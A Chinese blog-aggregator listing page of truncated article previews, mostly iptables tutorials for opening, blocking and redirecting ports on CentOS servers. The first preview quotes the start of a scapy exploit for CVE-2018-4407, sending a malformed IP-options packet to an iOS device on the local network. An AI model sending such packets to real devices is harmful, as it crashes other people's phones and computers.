CVE-2018-4407为ios缓冲区溢出漏洞 exp: import scapyfrom scapy.all import * send(IP(dst="同一局域网内目标Ip",options=[IPOption("A"*8)])/TCP(dport=2323,options=[(19, "1" ...
分类:
移动开发 时间:
2019-03-09 20:14:43
阅读次数:
210
当我们在CentOS服务器中装了一些开发环境(如 tomcat、mysql、nginx 等...)时,希望能从外界访问,就需要配置防火墙对指定端口开放。 CentOS 6.5 1.开放指定端口/sbin/iptables -I INPUT -p tcp --dport 端口号 -j ACCEPT / ...
分类:
其他好文 时间:
2019-03-04 09:20:49
阅读次数:
360
需要开80端口,指定IP和局域网下面三行的意思:先关闭所有的80端口开启ip段192.168.1.0/24端的80口开启ip段211.123.16.123/24端ip段的80口# iptables -I INPUT -p tcp --dport 80 -j DROP # iptables -I IN ...
分类:
其他好文 时间:
2019-02-20 12:41:27
阅读次数:
138
--tcp-flags 用于匹配报文的tcp头的标志位 iptables -t filter -I INPUT -p tcp -m tcp --dport 22 --tcp-flags SYN,ACK,FIN,RST,URG,PSH SYN -j REJECT iptables -t filter ...
分类:
其他好文 时间:
2019-02-04 19:33:02
阅读次数:
177
打开: # iptables -I INPUT -p tcp --dport 9000 -j ACCEPT # iptables -I OUTPUT -p tcp --dport 9000 -j ACCEPT 关闭: # iptables -I INPUT -p tcp --dport 9000 - ...
分类:
系统相关 时间:
2019-01-23 20:30:04
阅读次数:
208
打开配置文件 sudo vim /etc/sysconfig/iptables 按下a,进入编辑 加入这一行 -A INPUT -m state --state NEW -m tcp -p tcp --dport 8080 -j ACCEPT 按下esc 退出编辑模式,输入 :wq 保存并退出 重启 ...
分类:
其他好文 时间:
2019-01-22 11:49:46
阅读次数:
291
需要开80端口,指定IP和局域网 下面三行的意思: 先关闭所有的80端口 开启ip段192.168.1.0/24端的80口 开启ip段211.123.16.123/24端ip段的80口 # iptables -I INPUT -p tcp --dport 80 -j DROP # iptables ...
分类:
Web程序 时间:
2019-01-21 15:55:12
阅读次数:
202
介绍一下常用的linux服务器上,开放防火墙端口该用什么命令。 centos(redhat) 6 版本中的 iptables 以开放mysql端口3306为例 iptables A INPUT m state state NEW m tcp p tcp dport 3306 j ACCEPT ser ...
分类:
系统相关 时间:
2019-01-16 11:38:46
阅读次数:
280
1. iptables 规则配置 使用 iptables 命令; iptables -I INPUT -p tcp --dport 9833 -j ACCEPT; 阿里云官方答案: 使用 service iptables save 命令保存设置; 使用 vi /etc/sysconfig/iptab ...
分类:
其他好文 时间:
2019-01-05 16:44:26
阅读次数:
453
将端口80映射到8080 Centos6 iptables -t net -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 service iptables save service iptables restart Centos ...
分类:
其他好文 时间:
2018-12-24 16:24:28
阅读次数:
3039